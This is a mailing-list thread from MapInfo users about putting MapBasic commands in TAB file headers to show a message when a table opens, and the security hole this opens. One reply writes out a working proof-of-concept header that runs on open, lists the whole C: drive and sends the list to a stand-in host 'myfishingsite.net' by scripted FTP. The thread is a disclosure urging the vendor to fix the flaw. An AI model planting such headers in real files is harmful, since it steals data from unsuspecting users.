Re: [MI-L] Adding message to table via MapBasic

[Tony Baylis]

Thanks Uffe and Peter,

Currently the TAB file looks like this:

!table

!version 300

!charset WindowsLatin1

Set Window Message

Position (20, 10)

Width 18.0

Height 1.0

print chr$(12)

print "Landowner, CCA and ENPA information are available for some land parcels - please contact G...@xxxxxxxxxxx.com for details"

Definition Table

  Type NATIVE Charset "WindowsLatin1"

  Fields 12

    FID Integer ;

    LOT Char (8) ;

    PLAN Char (12) ;

When the table opens a message box opens displaying the above.  This is something I have used for a few years but never needed to add to a table recreated regularly using a MapBasic script.

Cheers,

Tony

-----------------------------------------------------------------------------------------------------------------------------

Hello Tony,

Are you storing this directly in the TAB file?
If so, how does it look?

Normally a table header starts like this:

!table
!version 300
!charset WindowsLatin1

Definition Table
  Type NATIVE Charset "WindowsLatin1"
  Fields 1
    field1 Decimal (15, 0) ;

Regards
Uffe Kousgaard

Tony Baylis wrote:

Hi All,

I have been updating a few MapBasic scripts written by the guy who previously warmed my seat. When the tables created by my scripts are opened by users I would like a message box to open.  This is something I can do easily enough by manually editing the table in Notepad etc but how is it possible to insert the code into the table when it is created in MapBasic.  See the example below.

 

Cheers,

Tony

 

Set Window Message

Position (20, 10)

Width 18.0

Height 1.0

print chr$(12)

print "Landowner, CCA and ENPA information are available for some land parcels - please contact G...@xxxxxxxxxx.com for details"

--
--

[Thomas Bacon]

Tony,

 

As someone mentioned previously you need to use the Open File… statement to read in the current tab file (line by line) and write each line out to a new tab file. You can then insert the required lines to print to the message box into the new tab file; basically check each line for !charset and once you find it, insert your lines of code after it before continuing with the rest of the tab file.

 

Something like this should work:

 

Dim strLine as String

 

Open file "C:\...\YourTabFile.tab" for Input as #1

Open file "C:\...\YourNewTabFile.tab" for Output as #2

 

Do while not EOF(1)

      '// read a line from the original tab file

      Line Input #1, strLine

     

      '// write the line to the new tab file

      Print #2, strLine

     

      '// check strLine for "!charset" and 'Print' your code if it is

     

Loop

Close file #1

Close file #1

 

'// now delete/rename the tab files to replace the original with your new version

 

Regards,

 

Tom Bacon

GIS Engineer, Mouchel

T 01444 472380 │ E thomas...@mouchel.com │ W www.mouchel.com

Our values: innovation │ excellence │ integrity │ responsibility

--
--
You received this message because you are subscribed to the
Google Groups "MapInfo-L" group.To post a message to this group, send
email to mapi...@googlegroups.com
To unsubscribe from this group, go to:
http://groups.google.com/group/mapinfo-l/subscribe?hl=en
For more options, information and links to MapInfo resources (searching
archives, feature requests, to visit our Wiki, visit the Welcome page at
http://groups.google.com/group/mapinfo-l?hl=en

---
You received this message because you are subscribed to the Google Groups "MapInfo-L" group.
To unsubscribe from this group and stop receiving emails from it, send an email to mapinfo-l+...@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Mouchel Limited (Mouchel) is registered in England and Wales with registered number 01686040 at Export House, Cawsey Way, Woking, Surrey, UK, GU21 6QX.  The information in this e-mail is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorised. Any views or opinions expressed in this e-mail may be solely those of the author and are not necessarily those of Mouchel. No contracts may be concluded on behalf of Mouchel by means of email communications. Mouchel reserves the right to monitor and intercept emails sent and received on our network.

[Eric Blasenheim]

On this issue of embedding MapBasic in the TAB file note that this is not a supported feature and could change although probably would not. However, not supported also means that if Professional needs to rewrite the .TAB file these statements will be lost.

There are many scenarios where Professional might re-write the TAB file: structure changes, version changes based on data, metadata, indices including thematics. So your work will be gone.

 

Eric Blasenheim

Pitney Bowes Software

[Bo Victor Thomsen]

As Uffe already mentioned, this undocumented "feature" is also a security hole, that you can push an oversized candy-stribed elephant through - consider the following tab-file:

!table
!version 300
!charset WindowsLatin1

!edit_version 650

run program "cmd.exe /c echo this is a virus, worm, format command, keylogger installer or worse !!! && pause>nul"

Definition Table
  Type NATIVE Charset "WindowsLatin1"

  Fields 2
    mytext Char (20) ;
    myinteger Integer ;

...............

Dear PB, do something about it. It's not the first time it has been mentioned to you. I've personally send a mail to PB regarding this security nightmare several years ago.

Regards
Bo Victor Thomsen
AestasGIS
Denmark

[Warren Vick]

To help visualise the danger, here's what Google Images finds for "candy striped-elephant".

 

 

Glad to be of help.

 

Regards,

Warren Vick

Europa Technologies Ltd.

 

 

From: mapi...@googlegroups.com [mailto:mapi...@googlegroups.com] On Behalf Of Bo Victor Thomsen
Sent: 01 October 2014 2:36 PM
To: mapi...@googlegroups.com
Subject: Re: [MI-L] Adding message to table via MapBasic

 

As Uffe already mentioned, this undocumented "feature" is also a security hole, that you can push an oversized candy-stribed elephant through - consider the following tab-file:

[Bo Victor Thomsen]

I might have visualized a _slightly_ larger old aggressive male African elephant, but the candy stripes are perfect :-)

Regards Bo Victor

[Glen O]

ok that was funny

[Nyall Dawson]

On Wednesday, 1 October 2014 23:35:49 UTC+10, Bo Victor Thomsen wrote:

As Uffe already mentioned, this undocumented "feature" is also a security hole, that you can push an oversized candy-stribed elephant through - consider the following tab-file:

!table
!version 300
!charset WindowsLatin1
!edit_version 650

run program "cmd.exe /c echo this is a virus, worm, format command, keylogger installer or worse !!! && pause>nul"

Definition Table
  Type NATIVE Charset "WindowsLatin1"
  Fields 2
    mytext Char (20) ;
    myinteger Integer ;

...............

Dear PB, do something about it. It's not the first time it has been mentioned to you. I've personally send a mail to PB regarding this security nightmare several years ago.

Just to point out exactly HOW HUGE a security risk this is, let's replace Bo's example with something which works out of the box on Windows:

!table

!version 450

!charset WindowsLatin1

run program "cmd.exe /c dir /s c:\ > %temp%\allfiles.txt"

run program "cmd.exe /c echo open myfishingsite.net >%temp%\commands.txt"

run program "cmd.exe /c echo guestuser >> %temp%\commands.txt"

run program "cmd.exe /c echo guestpw >> %temp%\commands.txt"

run program "cmd.exe /c echo put %temp%\allfiles.txt >> %temp%\commands.txt"

run program "cmd.exe /c ftp -s:%temp%\commands.txt"

Definition Table...

Load this into a tab file and a complete listing of your entire c: will be posted automatically to the remote ftp site "myfishingsite.net". Shoddy, shoddy work Pitney Bowes... We're all just lucky that MapInfo isn't as widely used as bash ;)

Nyall

[Tony Baylis]

Thanks to all.  

Eric, it is fully understood that the message gets blown away when Professional alters the table in many ways.  These tables are rebuilt using MapBasic when only component datasets are updated, hence the wish to add the note to users in the script.

To everyone who commented on the security flaw, I couldn't agree more but at times it is very useful to remind users about an issue relating to the dataset when they open it.  As such it may be useful to include this 'feature' in some other less flawed way.

--

[Warren Vick]

Well, thanks. Kidding aside, I have to agree with those here that it's a long-standing security issue. It was the method exploited by the so-called MapInfo virus a few years ago. I appreciate that we lived in slightly more innocent times when this feature was implemented - a time when everyone had dominion over their PC and you could install any software you wanted without having to ask someone to do it for you. In these "lock everything down" times, things are somewhat different. However, some people may have come to depend on this "feature" and so I suspect the best option would be to have a Pro setting which determines whether "run program" is allowed in a TAB, WOR or even (perhaps harshly) a MBX.

 

If any of this frightens you, take a look at the elephant picture for comfort.

 

Regards,

Warren Vick

Europa Technologies Ltd.

http://www.europa.uk.com

 

From: mapi...@googlegroups.com [mailto:mapi...@googlegroups.com] On Behalf Of Glen O
Sent: 01 October 2014 9:51 PM
To: mapi...@googlegroups.com
Subject: Re: [MI-L] Adding message to table via MapBasic

 

ok that was funny

[Bo Victor Thomsen]

I have just tried to open my "bad" tab-file in QGIS. It was read and shown in the QGIS map-window without any problems (and _without_ starting the windows cmd - interpreter). It is 'interesting' ** that MapInfo's main - open-source based - competitor can open a tab-file in a more secure way than MapInfo itself.

Warren's suggestion with some kind of security level setting in MapInfo - akin the security level system in MS_office regarding macros  - seems like a reasonable and relatively simple solution to this problem. 

Regards
Bo Victor Thomsen
AestasGIS
Denmark

** As in the old 'Chinese' curse: "May You live in interesting times".

[Uffe Kousgaard]

I have added it as a "product improvement suggestion". Please vote for it.

Regards
Uffe Kousgaard

[Mats Elfström]

Hi!

As a response to the original problem: Wouldn't ordinary metadata information be a much better and safe way to inform users of data on data?

But I do not know how far MapInfo has evolved on that path.

Regards, Mats.E

--
--
You received this message because you are subscribed to the
Google Groups "MapInfo-L" group.To post a message to this group, send
email to mapi...@googlegroups.com
To unsubscribe from this group, go to:
http://groups.google.com/group/mapinfo-l/subscribe?hl=en
For more options, information and links to MapInfo resources (searching
archives, feature requests, to visit our Wiki, visit the Welcome page at
http://groups.google.com/group/mapinfo-l?hl=en

---
You received this message because you are subscribed to the Google Groups "MapInfo-L" group.
To unsubscribe from this group and stop receiving emails from it, send an email to mapinfo-l+...@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

--

______________________________________________
Mats Elfström, Väpplingvägen 21, SE-227 38 LUND, Sweden
tel: +46 46 145959 / mob: +46 70 595 39 35
alt e-mail: mats.e...@giskraft.com